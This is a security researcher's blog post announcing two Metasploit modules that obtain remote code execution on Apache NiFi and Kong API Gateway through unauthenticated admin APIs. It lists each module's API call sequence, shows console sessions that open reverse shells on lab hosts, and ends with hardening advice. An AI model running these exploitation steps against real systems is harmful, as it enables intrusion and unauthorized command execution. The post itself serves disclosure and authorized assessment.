Metasploit Modules for RCE in Apache NiFi and Kong API Gateway

Two exploit modules for the Metasploit framework to assist consultants in verifying vulnerabilities when encountering Kong API Gateway and Apache NiFi on network security assessments.

After discovering methods to obtain Remote Code Execution (RCE) in Apache NiFi and Kong API Gateway, we were unable to find any existing tools to easily and efficiently verify vulnerable installations. F-Secure took the opportunity to develop two exploit modules for the Metasploit framework with the aim of assisting security consultants in efficiently verifying these vulnerabilities when conducting security assessments.

To our knowledge, no prior research into these exploitation vectors had been previously published. Both modules have been accepted into the Metasploit framework and are available for use in Metasploit version 6.0.18. The modules themselves can be viewed at the following links:

These modules exploit the applications using their respective HTTP(S) APIs and require administrative access. However, administrative access may not require authentication for the following reasons:

  • Authentication on NiFi must be explicitly enabled. A default installation is served over HTTP and does not require authentication, meaning that all connections have administrative privileges. In this case it is possible to achieve unauthenticated RCE.

  • The Kong admin API, which is served over HTTP and/or HTTPS, requires no authentication by design. It is best practice to expose the Kong admin API to localhost only, however this was not the default in versions previous to 0.12.0, and was not the default in docker-kong's compose file until March 2020 resulting in CVE-2020-11710 being issued. In cases where the admin API is not bound to localhost, it is possible to achieve unauthenticated RCE. The supporting article for CVE-2020-11710 can be found here. At the time of writing (2021-01-09), Shodan showed 1038 instances of the Kong admin API exposed to the internet.

NiFi Exploit Module

Apache NiFi is a tool that automates the flow of data between systems. It is written in Java and allows users to configure "dataflows" using the web UI or the back-end APIs directly. It is based on an application called "NiagaraFiles", which was developed by the NSA and open-sourced in 2014.

It can be downloaded from nifi.apache.org where source and compiled Java binaries are available that will run on Windows, Linux and MacOS. Older releases are also available and a docker image is also available from docker hub.

Module Overview

This exploit module uses the ExecuteProcess processor, which is part of the standard processors collection that is included with NiFi. It allows OS commands to be executed, by design. Processors that can be used to execute code or OS commands are known as "restricted components". ExecuteProcess was chosen from the list of restricted components because it is relatively simple to use, does not depend on any scripting languages being installed, and is not marked as "experimental".

When assessing exploitability, it should be noted that if authentication and authorisation is enabled then the account used to authenticate must have the following permissions in order to achieve remote command execution using this module:

  • Permission to "view" and "modify" the root controller.

  • Permission to "access restricted components", "regardless of restrictions".

If this is the case then the USERNAME and PASSWORD options within the module can be used to specify these credentials. Alternatively, if a more complex authentication flow is required (such as OpenId Connect), or a session token has already been obtained, a session token in the form of a JWT can be set using the TOKEN option. Authentication using a client certificate is not currently supported.

The exploit module checks whether authentication is required and authenticates to obtain an access token, if required. It then creates an ExecuteProcess processor and configures it to run an OS command. Once complete, it will clean up by removing the processor.

All interaction with NiFi takes place using the NiFi API, which is also used by the NiFi web interface behind the scenes. The following APIs are used by the module in the following order:

  • GET /nifi-api/access/config: Used to check whether the target is running NiFi and whether authentication is required.

  • POST /nifi-api/access/token: Used to obtain an access token using supplied credentials (if authentication is required).

  • GET /nifi-api/process-groups/root: Used to obtain the ID of the root process group.

  • POST /nifi-api/process-groups/<ROOT-PROCESSOR-GROUP-ID>/processors: Used to create an ExecuteProcess processor in the root group.

  • PUT /nifi-api/processors/<NEW-PROCESSOR-ID>: Used to configure the new ExecuteProcess processor and run the OS command.

  • PUT /nifi-api/processors/<NEW-PROCESSOR-ID>/run-status: Used to stop the new ExecuteProcess processor prior to deletion.

  • DELETE /nifi-api/processors/<NEW-PROCESSOR-ID>/threads: Used to terminate threads in case stopping failed.

  • DELETE /nifi-api/processors/<NEW-PROCESSOR-ID>: Used to delete the processor.

Example Usage

In this scenario the target was Windows 10.0.18363 Professional and authentication was not enabled.

$ msfconsole -q
msf5 exploit(multi/http/apache_nifi_processor_rce) > use multi/http/apache_nifi_processor_rce
[*] Using configured payload cmd/unix/reverse_bash
msf5 exploit(multi/http/apache_nifi_processor_rce) > set lhost 192.168.194.131
lhost => 192.168.194.131
msf5 exploit(multi/http/apache_nifi_processor_rce) > set target 1
target => 1
msf5 exploit(multi/http/apache_nifi_processor_rce) > set rhost 192.168.194.140
rhost => 192.168.194.140
msf5 exploit(multi/http/apache_nifi_processor_rce) > check
[*] 192.168.194.140:8080 - The target appears to be vulnerable.
msf5 exploit(multi/http/apache_nifi_processor_rce) > run -z
[*] Started reverse TCP handler on 192.168.194.131:4444
[*] Waiting 5 seconds before stopping and deleting
[*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.140:50008) at 2020-10-03 13:17:58 +0100
[*] Session 1 created in the background.
msf5 exploit(multi/http/apache_nifi_processor_rce) > sessions
 
Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/windows Microsoft Windows [Version 10.0.18363.1082] (c) 2019 Microsoft Corporation. A... 192.168.194.131:4444 -> 192.168.194.140:50008 (192.168.194.140)

In the following scenario the target was Ubuntu Linux Server 20.04.1 and authentication was required. This can be seen in a message stating that authentication was required. Credentials were provided after the message which resulted in successful exploitation.

$ msfconsole -q
msf5 exploit(multi/http/apache_nifi_processor_rce) > use multi/http/apache_nifi_processor_rce
[*] Using configured payload cmd/unix/reverse_bash
msf5 exploit(multi/http/apache_nifi_processor_rce) > set lhost 192.168.194.131
lhost => 192.168.194.131
msf5 exploit(multi/http/apache_nifi_processor_rce) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 exploit(multi/http/apache_nifi_processor_rce) > set ssl true
[!] Changing the SSL option's value may require changing RPORT!
ssl => true
msf5 exploit(multi/http/apache_nifi_processor_rce) > set rport 9443
rport => 9443
msf5 exploit(multi/http/apache_nifi_processor_rce) > check
[*] 127.0.0.1:9443 - The service is running, but could not be validated.
msf5 exploit(multi/http/apache_nifi_processor_rce) > run -z
[*] Started reverse TCP handler on 192.168.194.131:4444
[-] Exploit aborted due to failure: bad-config: Authentication is required. Bearer-Token or Username and Password must be specified
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/apache_nifi_processor_rce) > set username admin
username => admin
msf5 exploit(multi/http/apache_nifi_processor_rce) > set password admin
password => admin
msf5 exploit(multi/http/apache_nifi_processor_rce) > run -z
[*] Started reverse TCP handler on 192.168.194.131:4444
[*] Waiting 5 seconds before stopping and deleting
[*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.130:50802) at 2020-10-03 13:18:00 +0100
[*] Session 1 created in the background.
msf5 exploit(multi/http/apache_nifi_processor_rce) > sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 192.168.194.131:4444 -> 192.168.194.130:50802 (127.0.0.1)

Kong API Gateway RCE Technique

Kong Gateway claims to be the "world’s most popular open source API gateway". It allows API operators to add features, such as authentication, traffic control, Analytics, transformations, logging and even serverless functions to existing APIs.

It is open-source, can be downloaded from konghq.com and runs on Linux or macOS. Many officially supported packages are available, for example from repositories, DockerHub or AMI images for AWS.

Module Overview

This exploit module uses the Admin API to create a route, then assign a the pre-function serverless plugin to that route. The plugin runs Lua code and is used to run a system command using Lua's os.execute() method. After execution, the route is then deleted, which also results in the plugin associated with the route being deleted.

Interaction with Kong takes place using the Admin API, which does not require authentication, and the public API gateway. The following 6 API end points are used by the module (in order):

  • GET /<NEW-ROUTE-ID>: Uses the public API to check that it is the correct target.

  • GET /: Uses the admin API to check that it is the correct target.

  • POST /routes: Uses the admin API to create a route with a random ID.

  • POST /routes/<NEW-ROUTE-ID>/plugins: Uses the admin API to create a pre-function plugin on the new route.

  • GET /<NEW-ROUTE-ID>: Uses the public API to request the route in order to trigger the pre-function plugin assigned to the route.

  • DELETE /routes<NEW-ROUTE-ID>: Uses the admin API to remove the route.

Example Usage

In this scenario, the admin API is not bound to localhost and is therefore available externally.

$ msfconsole -q
[*] Starting persistent handler(s)...
msf5 > use exploit/multi/http/kong_gateway_admin_api_rce
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf5 exploit(multi/http/kong_gateway_admin_api_rce) > set lhost 192.168.194.131
lhost => 192.168.194.131
msf5 exploit(multi/http/kong_gateway_admin_api_rce) > set rhosts 192.168.194.130
rhosts => 192.168.194.130
msf5 exploit(multi/http/kong_gateway_admin_api_rce) > run -z

[*] Started reverse TCP handler on 192.168.194.131:4444
[*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.130:41939) at 2020-10-13 16:24:13 +0100
[*] Session 1 created in the background.
msf5 exploit(multi/http/kong_gateway_admin_api_rce) > sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 192.168.194.131:4444 -> 192.168.194.130:41939 (192.168.194.130)

In the following scenario, the admin API was bound to localhost and had been forwarded to the attacking machine using a technique such as local port forwarding with ssh. The public-api-rhost option was used to indicate where the public API was hosted and to indicated that it was on a different host to the private API.

$ msfconsole -q
msf5 > use exploit/multi/http/kong_gateway_admin_api_rce
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf5 exploit(multi/http/kong_gateway_admin_api_rce) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 exploit(multi/http/kong_gateway_admin_api_rce) > set public-api-rhost 192.168.194.130
public-api-rhost => 192.168.194.130
msf5 exploit(multi/http/kong_gateway_admin_api_rce) > run -z

[*] Started reverse TCP handler on 192.168.194.131:4444
[*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.130:44705) at 2020-10-27 20:57:02 +0000
[*] Session 1 created in the background.
msf5 exploit(multi/http/kong_gateway_admin_api_rce) > sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 192.168.194.131:4444 -> 192.168.194.130:44705 (127.0.0.1)

Conclusion

Both exploit modules take advantage of APIs exposing administrative functions. It is always important to ensure that powerful APIs such as these are not exposed unless they are behind strong authentication controls. Due to the fact that these APIs can allow operating system commands to be executed on the host system, it is important that access is restricted to only trusted administrators.

It is important that NiFi is specifically configured to require authentication. The NiFi documentation explains how to enable HTTPS and configure mutual TLS authentication and how to enable authentication methods using external login identity providers, such as LDAP, Kerberos, OpenId, Knox, etc. Furthermore, restricted components that could allow operating system commands to be exposed should be restricted to only those users that require this permission, following the principle of least privilege.

Kong API Gateway configuration should be reviewed to ensure that the admin API is not exposed externally, unless it has been made available using a method that adds authentication, such as the Kong API Loopback technique. While this would not prevent privilege escalation if an attacker were able to gain access to the system hosting the admin API, it would prevent remote exploitation.

Credits

These modules were developed by Graeme Robinson.